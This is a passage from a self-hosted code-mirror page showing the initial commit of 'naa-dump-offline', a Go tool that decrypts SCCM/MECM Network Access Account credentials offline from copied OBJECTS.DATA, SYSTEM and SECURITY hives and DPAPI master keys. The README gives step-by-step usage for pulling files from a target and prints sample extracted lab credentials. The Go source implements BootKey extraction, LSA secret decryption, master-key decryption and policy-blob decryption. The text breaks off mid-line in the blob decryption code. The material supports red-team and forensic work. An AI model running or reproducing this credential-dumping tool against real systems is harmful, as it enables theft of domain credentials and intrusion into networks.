Notice // Official Self-Hosted Code Mirror
My GitHub profile (@shehzade) is temporarily suspended due to an automated false-positive on open-source Active Directory security tool releases and is currently under official reinstatement review by GitHub Support. This mirror provides verified source code, file trees, commit logs, and release binaries directly from local git repositories.

naa-dump-offline

Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets.
git clone https://shehzade.io/repos/naa-dump-offline.git
Log | Files | Refs | README | LICENSE
↓ Download Source ZIP git clone https://shehzade.io/repos/naa-dump-offline.git

commit da0de6efb7cf5202a382a16aeb92e0cf3641ddf9
Author: Abdullah Ansari <shehzade@users.noreply.github.com>
Date:   Fri,  6 Nov 2026 00:09:52 +0100

Initial commit

Diffstat:
A.gitignore | 17+++++++++++++++++
ALICENSE | 201+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AMakefile | 19+++++++++++++++++++
AREADME.md | 131+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Acmd/naa-dump-offline/main.go | 349+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ago.mod | 7+++++++
Ago.sum | 4++++
Apkg/dpapi/blob.go | 239+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/dpapi/crypto.go | 77+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/dpapi/masterkey.go | 265+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/registry/bootkey.go | 95+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/registry/lsa.go | 137+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/wmi/carver.go | 164+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apkg/wmi/policy.go | 162+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
14 files changed, 1867 insertions(+), 0 deletions(-)

diff --git a/.gitignore b/.gitignore @@ -0,0 +1,17 @@ +/naa-dump-offline +/naa-dump-offline-* +/dist/ +*.exe +*.dll +*.so +*.dylib +*.data +*.raw +*.vmdk +*.vhdx +*.vss +*.zip +.idea/ +.vscode/ +*.swp +.DS_Store diff --git a/LICENSE b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or exemplary damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2026 Abdullah Ansari + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Makefile b/Makefile @@ -0,0 +1,19 @@ +BINARY_NAME=naa-dump-offline +SRC=cmd/naa-dump-offline/main.go + +.PHONY: all build build-all clean + +all: build + +build: + go build -ldflags="-s -w" -o $(BINARY_NAME) $(SRC) + +build-all: + GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-amd64 $(SRC) + GOOS=linux GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-arm64 $(SRC) + GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME).exe $(SRC) + GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-amd64 $(SRC) + GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-arm64 $(SRC) + +clean: + rm -f $(BINARY_NAME) $(BINARY_NAME).exe $(BINARY_NAME)-* diff --git a/README.md b/README.md @@ -0,0 +1,131 @@ +# naa-dump-offline + +Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (`OBJECTS.DATA`, registry hives, and DPAPI master keys). + +## Table of Contents + +- [Why / The Gap This Fills](#why--the-gap-this-fills) +- [How It Works](#how-it-works) +- [Required Files](#required-files) +- [Build](#build) +- [Usage](#usage) + - [Find the required MasterKey GUID](#find-the-required-masterkey-guid) + - [Decrypt with registry hives and MasterKey file](#decrypt-with-registry-hives-and-masterkey-file) + - [Decrypt with a pre-decrypted MasterKey](#decrypt-with-a-pre-decrypted-masterkey) +- [License](#license) + +## Why / The Gap This Fills + +Techniques documented under [CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (`local secrets -m disk`) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on `HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal` and `HKLM\SECURITY\Policy\PolEKList` to access machine keys. That workflow requires on-host code execution and generates observable telemetry. + +Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS. + +`naa-dump-offline` consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host. + +## How It Works + +When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the `NT AUTHORITY\SYSTEM` context and stored in the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`). + +Instead of querying WMI on a live host, `naa-dump-offline` parses the raw files offline: +1. Scans `OBJECTS.DATA` for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed. +2. Extracts the BootKey from the `SYSTEM` hive and decrypts the `DPAPI_SYSTEM` LSA secret from the `SECURITY` hive. +3. Uses the `DPAPI_SYSTEM` user/machine keys to decrypt the target SYSTEM MasterKey file. +4. Decrypts the carved WMI blobs, decompresses any zlib-packed `PolicyXML` streams, and extracts plaintext credentials. + +## Required Files + +| File | Default Path | +|---|---| +| `OBJECTS.DATA` | `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` | +| `SYSTEM` | `C:\Windows\System32\config\SYSTEM` | +| `SECURITY` | `C:\Windows\System32\config\SECURITY` | +| `<GUID>` | `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>` | + +## Build + +Requires Go 1.21+. + +```bash +make build +``` + +Cross-compile for Linux, Windows, and macOS: + +```bash +make build-all +``` + +## Usage + +```text +Usage: naa-dump-offline -o OBJECTS.DATA [options] + +Options: + -o, -objects string + Path to OBJECTS.DATA file + -sys, -system string + Path to SYSTEM registry hive + -sec, -security string + Path to SECURITY registry hive + -m, -master-key string + Path to MasterKey file + -k string + Decrypted MasterKey in hex (optional) + -json + Output results in JSON format + -v Verbose output (show decrypted policy secrets) +``` + +### Find the required MasterKey GUID + +Pull `OBJECTS.DATA` first and run without registry keys to see which MasterKey file you need to grab from the target: + +```bash +./naa-dump-offline -o OBJECTS.DATA +``` + +```text +[*] Scanning OBJECTS.DATA for encrypted policy blobs... +[+] Found 19 encrypted blobs (6 unique) + - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs) + +[*] Required MasterKey file: + %SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6 +``` + +### Decrypt with registry hives and MasterKey file + +Once you pull `SYSTEM`, `SECURITY`, and the target MasterKey file: + +```bash +./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6 +``` + +```text +[*] Scanning OBJECTS.DATA for encrypted policy blobs... +[+] Found 19 encrypted blobs (6 unique) + - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs) +[*] Parsing SYSTEM hive: SYSTEM +[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d +[*] Parsing SECURITY hive: SECURITY +[+] DPAPI UserKey: 0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf +[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62 +[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6 +[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706... +[*] Decrypting 6 policy blobs... + +[+] Extracted credentials: + sccm.lab\sccm-naa:123456789 +``` + +### Decrypt with a pre-decrypted MasterKey + +If you already have the 64-byte MasterKey in hex: + +```bash +./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01... +``` + +## License + +Apache License 2.0 diff --git a/cmd/naa-dump-offline/main.go b/cmd/naa-dump-offline/main.go @@ -0,0 +1,349 @@ +package main + +import ( + "encoding/hex" + "encoding/json" + "flag" + "fmt" + "os" + "strings" + + "github.com/shehzade/naa-dump-offline/pkg/dpapi" + "github.com/shehzade/naa-dump-offline/pkg/registry" + "github.com/shehzade/naa-dump-offline/pkg/wmi" +) + +const banner = ` + __ + ____ ____ _____ _ ____/ /_ ______ ___ ____ + / __ \/ __ '/ __ '/_____/ __ / / / / __ '__ \/ __ \ + / / / / /_/ / /_/ /_____/ /_/ / /_/ / / / / / / /_/ / +/_/ /_/\__,_/\__,_/ \__,_/\__,_/_/ /_/ /_/ .___/ + /_/ +` + +type JSONOutput struct { + ObjectsFile string `json:"objects_file,omitempty"` + TotalBlobs int `json:"total_blobs"` + UniqueBlobs int `json:"unique_blobs"` + RequiredMasterKeys []string `json:"required_masterkeys,omitempty"` + BootKey string `json:"bootkey,omitempty"` + DPAPIUserKey string `json:"dpapi_userkey,omitempty"` + DPAPIMachineKey string `json:"dpapi_machinekey,omitempty"` + DecryptedMasterKey string `json:"decrypted_masterkey,omitempty"` + MasterKeySource string `json:"masterkey_source,omitempty"` + Credentials []wmi.NAACredential `json:"credentials"` + Secrets []*wmi.CarvedSecret `json:"secrets,omitempty"` +} + +func main() { + var ( + objectsPath = flag.String("o", "", "Path to OBJECTS.DATA file") + objectsLong = flag.String("objects", "", "Path to OBJECTS.DATA file") + sysPath = flag.String("sys", "", "Path to SYSTEM registry hive") + sysLong = flag.String("system", "", "Path to SYSTEM registry hive") + secPath = flag.String("sec", "", "Path to SECURITY registry hive") + secLong = flag.String("security", "", "Path to SECURITY registry hive") + mkPath = flag.String("m", "", "Path to MasterKey file") + mkLong = flag.String("master-key", "", "Path to MasterKey file") + keyHex = flag.String("k", "", "Decrypted MasterKey in hex (optional)") + jsonMode = flag.Bool("json", false, "Output results in JSON format") + verbose = flag.Bool("v", false, "Verbose output (show decrypted policy secrets)") + ) + + flag.Usage = func() { + fmt.Fprintf(os.Stderr, "%s\n", banner) + fmt.Fprintf(os.Stderr, "Usage: naa-dump-offline -o OBJECTS.DATA [options]\n\n") + fmt.Fprintf(os.Stderr, "Options:\n") + flag.PrintDefaults() + fmt.Fprintf(os.Stderr, "\nExamples:\n") + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA\n") + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m <masterkey-file>\n") + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -k <masterkey-hex>\n") + } + + flag.Parse() + + objects := *objectsPath + if objects == "" { + objects = *objectsLong + } + system := *sysPath + if system == "" { + system = *sysLong + } + security := *secPath + if security == "" { + security = *secLong + } + masterKey := *mkPath + if masterKey == "" { + masterKey = *mkLong + } + + if objects == "" { + if *jsonMode { + logError(true, "-o (path to OBJECTS.DATA) is required") + } else { + fmt.Fprintf(os.Stderr, "[!] Error: -o (path to OBJECTS.DATA) is required.\n\n") + flag.Usage() + } + os.Exit(1) + } + + if (system != "" && security == "") || (system == "" && security != "") { + logError(*jsonMode, "Both -sys and -sec must be provided together.") + os.Exit(1) + } + + if masterKey != "" && (system == "" || security == "") && *keyHex == "" { + logError(*jsonMode, "Both -sys and -sec are required when using -m.") + os.Exit(1) + } + + out := JSONOutput{ + ObjectsFile: objects, + Credentials: []wmi.NAACredential{}, + } + + if !*jsonMode { + fmt.Print(banner) + } + + var carverRes *wmi.CarverResult + if objects != "" { + if !*jsonMode { + fmt.Printf("[*] Scanning %s for encrypted policy blobs...\n", objects) + } + var err error + carverRes, err = wmi.ScanObjectsData(objects) + if err != nil { + logError(*jsonMode, "Failed to scan OBJECTS.DATA: %v", err) + os.Exit(1) + } + out.TotalBlobs = carverRes.TotalBlobs + out.UniqueBlobs = len(carverRes.UniqueBlobs) + out.RequiredMasterKeys = carverRes.RequiredGUIDs + + if !*jsonMode { + fmt.Printf("[+] Found %d encrypted blobs (%d unique)\n", + carverRes.TotalBlobs, len(carverRes.UniqueBlobs)) + for _, guid := range carverRes.RequiredGUIDs { + count := carverRes.GUIDCounts[guid] + fmt.Printf(" - MasterKey GUID: %s (%d blobs)\n", guid, count) + } + } + + if len(carverRes.UniqueBlobs) == 0 { + if *jsonMode { + printJSON(out) + } else { + fmt.Println("[-] No encrypted policy blobs found.") + } + return + } + } + + if system == "" && security == "" && *keyHex == "" { + if !*jsonMode { + fmt.Println("\n[*] Required MasterKey file:") + for _, guid := range carverRes.RequiredGUIDs { + fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid) + } + } else { + printJSON(out) + } + return + } + + var systemKeys *registry.DPAPISystemKeys + if system != "" && security != "" { + if !*jsonMode { + fmt.Printf("[*] Parsing SYSTEM hive: %s\n", system) + } + bootKey, err := registry.GetBootKey(system) + if err != nil { + logError(*jsonMode, "Failed to parse BootKey: %v", err) + os.Exit(1) + } + out.BootKey = fmt.Sprintf("0x%x", bootKey) + if !*jsonMode { + fmt.Printf("[+] BootKey: 0x%x\n", bootKey) + fmt.Printf("[*] Parsing SECURITY hive: %s\n", security) + } + + systemKeys, err = registry.ExtractDPAPISystemKeys(security, bootKey) + if err != nil { + logError(*jsonMode, "Failed to extract DPAPI_SYSTEM keys: %v", err) + os.Exit(1) + } + + out.DPAPIUserKey = fmt.Sprintf("0x%x", systemKeys.UserKey) + out.DPAPIMachineKey = fmt.Sprintf("0x%x", systemKeys.MachineKey) + if !*jsonMode { + fmt.Printf("[+] DPAPI UserKey: 0x%x\n", systemKeys.UserKey) + fmt.Printf("[+] DPAPI MachineKey: 0x%x\n", systemKeys.MachineKey) + } + } + + if masterKey == "" && *keyHex == "" { + if !*jsonMode { + fmt.Println("\n[*] Required MasterKey file:") + for _, guid := range carverRes.RequiredGUIDs { + fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid) + } + } else { + printJSON(out) + } + return + } + + masterKeysMap := make(map[string][]byte) + + if *keyHex != "" { + rawHex := strings.TrimPrefix(strings.TrimSpace(*keyHex), "0x") + rawKey, err := hex.DecodeString(rawHex) + if err != nil || len(rawKey) != 64 { + logError(*jsonMode, "Invalid -k MasterKey hex: expected 64 bytes (128 hex characters)") + os.Exit(1) + } + out.DecryptedMasterKey = fmt.Sprintf("0x%x", rawKey) + out.MasterKeySource = "User provided (-k)" + for _, guid := range carverRes.RequiredGUIDs { + masterKeysMap[guid] = rawKey + } + if !*jsonMode { + fmt.Printf("[+] Using supplied MasterKey: 0x%x\n", rawKey) + } + } else if masterKey != "" { + if !*jsonMode { + fmt.Printf("[*] Decrypting MasterKey from %s\n", masterKey) + } + + for _, targetGUID := range carverRes.RequiredGUIDs { + decKey, source, err := dpapi.LoadAndDecryptMasterKey(masterKey, targetGUID, systemKeys) + if err != nil { + if !*jsonMode { + fmt.Printf("[-] Could not decrypt MasterKey (%s): %v\n", targetGUID, err) + } + continue + } + masterKeysMap[targetGUID] = decKey + out.DecryptedMasterKey = fmt.Sprintf("0x%x", decKey) + out.MasterKeySource = source + if !*jsonMode { + fmt.Printf("[+] MasterKey (%s): 0x%x\n", targetGUID, decKey) + } + } + } + + if len(masterKeysMap) == 0 { + logError(*jsonMode, "No valid MasterKey could be decrypted.") + os.Exit(1) + } + + if !*jsonMode { + fmt.Printf("[*] Decrypting %d policy blobs...\n", len(carverRes.UniqueBlobs)) + } + + for _, secret := range carverRes.UniqueBlobs { + rawBytes, err := hex.DecodeString(secret.RawHex) + if err != nil { + continue + } + blobBytes := rawBytes + if len(rawBytes) > 4 { + blobBytes = rawBytes[4:] + } + + blob, err := dpapi.ParseDPAPIBlob(blobBytes) + if err != nil { + blob, err = dpapi.ParseDPAPIBlob(rawBytes) + if err != nil { + continue + } + } + + decMK, ok := masterKeysMap[blob.GuidMasterKey] + if !ok { + for _, k := range masterKeysMap { + decMK = k + break + } + } + + decrypted, err := blob.Decrypt(decMK) + if err != nil { + continue + } + + secret.DecryptedBytes = decrypted + text, isEmpty := wmi.ParseDecryptedPayload(decrypted) + secret.DecryptedText = text + secret.IsEmpty = isEmpty + } + + creds := wmi.ExtractCredentialsFromSecrets(carverRes.UniqueBlobs) + out.Credentials = creds + if *verbose { + out.Secrets = carverRes.UniqueBlobs + } + + if *jsonMode { + printJSON(out) + return + } + + if len(creds) == 0 { + hasRemoved := false + for _, s := range carverRes.UniqueBlobs { + if s.IsEmpty { + hasRemoved = true + break + } + } + if hasRemoved { + fmt.Println("[-] Found NAA policy entries, but credentials were cleared/empty in site configuration") + } else { + fmt.Println("[-] No NAA credentials found in decrypted policy blobs") + } + } else { + fmt.Println("\n[+] Extracted credentials:") + for _, c := range creds { + fmt.Printf(" %s:%s\n", c.Username, c.Password) + } + } + + if *verbose { + fmt.Println("\n[*] Verbose payload dump:") + for _, s := range carverRes.UniqueBlobs { + fmt.Printf("\n--- Secret #%d (Offset: 0x%x, MasterKey: %s, Context: %s) ---\n", + s.Index, s.Offset, s.MasterKeyGUID, s.Context) + if s.IsEmpty { + fmt.Println("[EMPTY]") + } else { + fmt.Println(s.DecryptedText) + } + } + } +} + +func logError(jsonMode bool, format string, a ...interface{}) { + msg := fmt.Sprintf(format, a...) + if jsonMode { + errObj := map[string]string{"error": msg} + b, _ := json.Marshal(errObj) + fmt.Println(string(b)) + } else { + fmt.Fprintf(os.Stderr, "[!] Error: %s\n", msg) + } +} + +func printJSON(v interface{}) { + b, err := json.MarshalIndent(v, "", " ") + if err != nil { + fmt.Fprintf(os.Stderr, `{"error":"json marshal error"}`) + return + } + fmt.Println(string(b)) +} diff --git a/go.mod b/go.mod @@ -0,0 +1,7 @@ +module github.com/shehzade/naa-dump-offline + +go 1.26.2 + +require www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7 + +require github.com/davecgh/go-spew v1.1.1 // indirect diff --git a/go.sum b/go.sum @@ -0,0 +1,4 @@ +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7 h1:BMX/37sYwX+8JhHt+YNbPfbx7dXG1w1L1mXonNBtjt0= +www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7/go.mod h1:pxSECT5mWM3goJ4sxB4HCJNKnKqiAlpyT8XnvBwkLGU= diff --git a/pkg/dpapi/blob.go b/pkg/dpapi/blob.go @@ -0,0 +1,239 @@ +package dpapi + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/des" + "crypto/hmac" + "crypto/sha1" + "crypto/sha512" + "encoding/binary" + "fmt" + "hash" +) + +type DPAPIBlob struct { + Version uint32 + GuidCredential string + MasterKeyVersion uint32 + GuidMasterKey string + Flags uint32 + Description string + CryptAlgo uint32 + CryptAlgoLen uint32 + Salt []byte + HMacKey []byte + HashAlgo uint32 + HashAlgoLen uint32 + HMac []byte + Data []byte + Sign []byte + RawData []byte +} + +func ParseDPAPIBlob(raw []byte) (*DPAPIBlob, error) { + if len(raw) < 44 { + return nil, fmt.Errorf("DPAPI blob too short (%d bytes)", len(raw)) + } + + blob := &DPAPIBlob{ + RawData: raw, + Version: binary.LittleEndian.Uint32(raw[0:4]), + GuidCredential: FormatGUID(raw[4:20]), + MasterKeyVersion: binary.LittleEndian.Uint32(raw[20:24]), + GuidMasterKey: FormatGUID(raw[24:40]), + Flags: binary.LittleEndian.Uint32(raw[40:44]), + } + + offset := 44 + if offset+4 > len(raw) { + return nil, fmt.Errorf("invalid blob at description len") + } + descLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(descLen) > len(raw) { + return nil, fmt.Errorf("invalid blob description length") + } + blob.Description = DecodeUTF16LE(raw[offset : offset+int(descLen)]) + offset += int(descLen) + + if offset+8 > len(raw) { + return nil, fmt.Errorf("invalid blob at CryptAlgo") + } + blob.CryptAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4]) + blob.CryptAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8]) + offset += 8 + + if offset+4 > len(raw) { + return nil, fmt.Errorf("invalid blob at SaltLen") + } + saltLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(saltLen) > len(raw) { + return nil, fmt.Errorf("invalid blob salt length") + } + blob.Salt = raw[offset : offset+int(saltLen)] + offset += int(saltLen) + + if offset+4 > len(raw) { + return nil, fmt.Errorf("invalid blob at HMacKeyLen") + } + hmacKeyLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(hmacKeyLen) > len(raw) { + return nil, fmt.Errorf("invalid blob hmac key length") + } + blob.HMacKey = raw[offset : offset+int(hmacKeyLen)] + offset += int(hmacKeyLen) + + if offset+8 > len(raw) { + return nil, fmt.Errorf("invalid blob at HashAlgo") + } + blob.HashAlgo = binary.LittleEndian.Uint32(raw[offset : offset+4]) + blob.HashAlgoLen = binary.LittleEndian.Uint32(raw[offset+4 : offset+8]) + offset += 8 + + if offset+4 > len(raw) { + return nil, fmt.Errorf("invalid blob at HMacLen") + } + hmacLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(hmacLen) > len(raw) { + return nil, fmt.Errorf("invalid blob hmac length") + } + blob.HMac = raw[offset : offset+int(hmacLen)] + offset += int(hmacLen) + + if offset+4 > len(raw) { + return nil, fmt.Errorf("invalid blob at DataLen") + } + dataLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(dataLen) > len(raw) { + return nil, fmt.Errorf("invalid blob data length") + } + blob.Data = raw[offset : offset+int(dataLen)] + offset += int(dataLen) + + if offset+4 <= len(raw) { + signLen := binary.LittleEndian.Uint32(raw[offset : offset+4]) + offset += 4 + if offset+int(signLen) <= len(raw) { + blob.Sign = raw[offset : offset+int(signLen)] + } + } + + return blob, nil +} + +func (blob *DPAPIBlob) Decrypt(masterKey []byte) ([]byte, error) { + h := sha1.New() + h.Write(masterKey) + keyHash := h.Sum(nil) + + var hashFunc func() hash.Hash + var hashBlockSize int + switch blob.HashAlgo { + case CALG_SHA1, CALG_HMAC: + hashFunc = sha1.New + hashBlockSize = 64 + case CALG_SHA_512: + hashFunc = sha512.New + hashBlockSize = 128 + default: + return nil, fmt.Errorf("unsupported blob hash algo: 